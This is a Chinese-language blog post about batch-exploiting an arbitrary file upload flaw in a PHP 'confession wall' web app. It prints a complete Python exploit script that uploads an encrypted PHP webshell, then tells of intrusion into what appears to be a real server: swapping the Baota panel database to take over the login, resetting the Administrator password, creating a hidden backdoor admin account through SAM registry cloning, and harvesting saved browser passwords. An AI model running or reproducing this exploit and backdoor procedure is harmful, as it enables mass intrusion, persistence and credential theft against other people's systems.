昨天闲来没事干,看了看娱乐网,看到有人发布了表白墙源码,本着这肯定有漏洞的心去测了一下,果然有漏洞存在任意文件上传直接Getshell,而后写了一个一键Getshell脚本批量。

Feature

漏洞位置

在 Index 控制器下的 Index.php 中有个 upload 方法,存在任意文件上传

代码审计部分就不详细说明了

漏洞利用EXP编写import requests

import urllib3

import sys

import json

requests.packages.urllib3.disable_warnings()

webshell = """

session_start();

@set_time_limit(0);

@error_reporting(0);

function E($D,$K){

for($i=0;$i

$D[$i] = $D[$i]^$K[$i+1&15];

}

return $D;

}

function Q($D){

return base64_encode($D);

}

function O($D){

return base64_decode($D);

}

$P='pass';

$V='payload';

$T='3c6e0b8a9c15224a';

if (isset($_POST[$P])){

$F=O(E(O($_POST[$P]),$T));

if (isset($_SESSION[$V])){

$L=$_SESSION[$V];

$A=explode('|',$L);

class C{public function nvoke($p) {eval($p."");}}

$R=new C();

$R->nvoke($A[0]);

echo substr(md5($P.$T),0,16);

echo Q(E(@run($F),$T));

echo substr(md5($P.$T),16);

}else{

$_SESSION[$V]=$F;

}

}

"""

files = {

'file': ('a.php', webshell, 'image/png'),

}

if __name__ == "__main__":

url = sys.argv[1]

try:

try:

uploadfile_url = url + "/public/index/index/upload.html"

response = requests.post(uploadfile_url, files=files, verify=False)

html = response.text

jsondata = json.loads(html)

except:

uploadfile_url = url + "/index/index/upload.html"

response = requests.post(uploadfile_url, files=files, verify=False)

html = response.text

jsondata = json.loads(html)

if jsondata['code'] == 0:

payload_url = jsondata['data']['src'].replace('//', '')

print("[+] 漏洞存在,WebShell地址 " + payload_url)

else:

print("[-] 漏洞不存在!")

except:

print("[-] 漏洞不存在或删除了上传模块!")

直接使用python的requests模块模拟POST数据包上传文件,直接Getshell

Getshell到登录服务器

执行不了命令,但是当前用户是 SYSTEM ,这么给力吗,都不用提权了,Windows服务器执行不了命令

一般都是由于PHP7版本的特性或者 disable_function 禁用了函数

Bypass还是不行,可急坏我了

在翻文件的时候,发现是宝塔搭建的

去访问看看

不知道入口,进不去

我知道有这个配置文件,在 BtSoft\panel\data\admin_path.pl 这个文件里,下载下来看看

得到宝塔路径,访问看看

但是不知道账号密码,这可咋办,不着急

查找宝塔账号密码

在 BtSoft\panel\tools.py 中,发现修改账号密码的地方

引用了 db 模块,然后去找db模块看看

在 BtSoft\panel\class\db.py 发现了连接数据库的代码

在这里这么多 .db 文件中,default.db 是最有可能存储着账号密码的数据库文件

经过我自己在本地搭了一个宝塔测试,替换 default.db 文件,账号密码确实是在 BtSoft\panel\data\default.db 存储着的,这个是SQLite数据库

既然知道了是SQLite数据库,下载SQLite数据库工具打开,找密码

把服务器上的 default.db 使用工具打开看看

账号知道了,密码不知道,MD5加密的,去解密看看

老天并没有眷顾我,解不出来

但是我想了一个思路,替换 default.db 文件,把我自己服务器上宝塔的 default.db 文件替换到对方服务器上宝塔的 default.db 文件,然后使用我自己服务器上宝塔的账号密码去登录对方服务器上的宝塔。

上传成功了,去登录看下

Bingo 登录成功

我以为Windows宝塔也有执行命令的地方,没想到没有,不过我在软件商店发现了一个可以添加系统用户修改系统用户密码的插件

我在想这插件不会专门用来给人家做后渗透用的吧,好鸡贼,既然有了那我就不客气了

我直接修改了 Administrator 用户的密码,这里好像只能添加普通用户所以我只好修改管理员密码了

成功登录服务器

添加隐藏后门用户net user admin2$ pass123456.. /add /y

net localgroup administrators admin2$ /add

打开注册表路径 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

可以看到刚刚创建的用户,单击即可看到用户类型值,再在 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下找到对应的类型值就是刚刚创建的用户

创建的 admin2$ 用户的类型为 0x3e9,对应的是 000003E9

右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下面的 admin2$ 导出到桌面保存为 1.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000003E9 导出到桌面保存为 2.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000001F4 导出到桌面保存为 3.reg

将 3.reg 中的F值复制替换到 2.reg 中的F值,也就是把Administrator用户的F值替换到admin2$用户F值

随后删除隐藏用户admin2$net user admin2$ /del

然后导入admin2$用户注册表信息regedit /s 1.reg

regedit /s 2.reg

注意:在这里导入需要把 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 这个权限设置为完全控制才可以导入成功,否则导入会出错

导入成功后,命令行执行 net user 是看不到 admin2$ 用户,控制面板 -> 管理账号中也是看不到的,计算机管理-本地用户和组-用户也无法列出该帐户

只有在知道该账户名称才可以看到,并执行 net user admin2$

查看服务器配置

这D盘这么大,一看就不简单

不存在内网

打开浏览器看看书签

一看就是老运维了

在谷歌浏览器的密码管理里还发现了管理员的一些账号密码

结果打开Xshell,发现了3个linux主机

然后清理在服务器上弄过的文件,把重要的文件保存到本地,关闭远程桌面,一气呵成,溜了溜了~~

php批量getshell,任意文件上传引发的批量Getshell到服务器 - WileySec's Blog相关推荐

  1. 任意文件上传mysql_[代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)...

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  2. 某OA ajax.do 未授权漏洞任意文件上传getshell复现

    某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介 某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...

  3. 文件上传漏洞_通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell

    点击蓝字|关注我们 通达OA前台任意文件上传漏洞 +文件包含漏洞导致getshell 一.漏洞介绍/Profile/ 通达OA介绍: 通达OA(Office Anywhere网络智能办公系统)是由北京 ...

  4. FHAdmin任意文件上传getShell渗透测试

    简介 FHAdmin于2014年发布,由JAVA语言编写,是集成了代码生成.权限管理等基础功能的Java快速开发框架及平台,同时为适应技术的更新的迭代,也推出了更新框架和技术架构后的版本. 漏洞复现 ...

  5. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  6. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  7. php forms 上传更新json_通达OA任意文件上传漏洞详细分析

    影响 影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.): V11版 2017版 2016版 2015版 2013增强版 2013版. 这个漏洞是几个月前的漏洞,主要是学 ...

  8. UEditor 任意文件上传漏洞

    1 漏洞简介 1.1 漏洞描述 Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本.其他的php,jsp,asp版本不受此UEditor的 ...

  9. 泛微任意文件上传(CNVD-2021-49104)

    CNVD-2021-49104 goby exp 声明 代码 poc集合 声明 本程序仅供于学习交流,请使用者遵守<中华人民共和国网络安全法>,勿将此脚本用于非授权的测试,脚本开发者不负任 ...

最新文章

  1. 九度OJ 1525 子串逆序打印 -- 2012年Google校园招聘笔试题目
  2. 使用Leangoo管理产品Backlog
  3. 2018年人工智能将赋能所有行业,未来市场将超过400亿美元
  4. cocos creator怎么隐藏组件(setVisible)
  5. 73. 解决ExtJS TreePanel 的 iconCls设置问题
  6. 【 Thread】创建线程的2种方法
  7. Jupyter Notebook的安装及问题解决方案
  8. Linux C编程Makefile编写初步-转
  9. 计算机图形学规则形体,计算机图形学教案
  10. 获得周公解梦数据接口java_周公解梦接口调用示例
  11. 小程序发布文章-微信小程序视频教程28
  12. photoshop基础操作集合01
  13. 【NOIP2017提高A组集训10.25】嘟嘟噜
  14. 手动给tabcontrol的tabPage加图标图片方法
  15. 实用小工具:加密软件
  16. Lottie: 让动画实现更简单
  17. C语言求任意四边形面积和其关联的三角形面积的关系
  18. 阻塞/非阻塞 同步/异步
  19. 3G到底有多快 三家运营商3G网速大比拼
  20. cortana android 地图,Here地图停止Windows系统 微软:我自己干

热门文章

  1. 基于JAVA+SpringBoot+Mybatis+MYSQL的在线购物商城系统
  2. yntaxError: Non-UTF-8 code starting with ‘\xe6‘ in file
  3. bzoj1336[Balkan2002]Alien最小圆覆盖
  4. 通过fork进程爆破canary
  5. SpringMVC学习笔记七:SpringMVC的数据验证
  6. Webservice学习之——即时发布与定制发布
  7. HDU 5763 Another Meaning KMP+DP
  8. 抓住六个点,谈唯品会的峰值系统应对实践
  9. iOS的消息机制和消息转发
  10. 05-if和switch的简单比较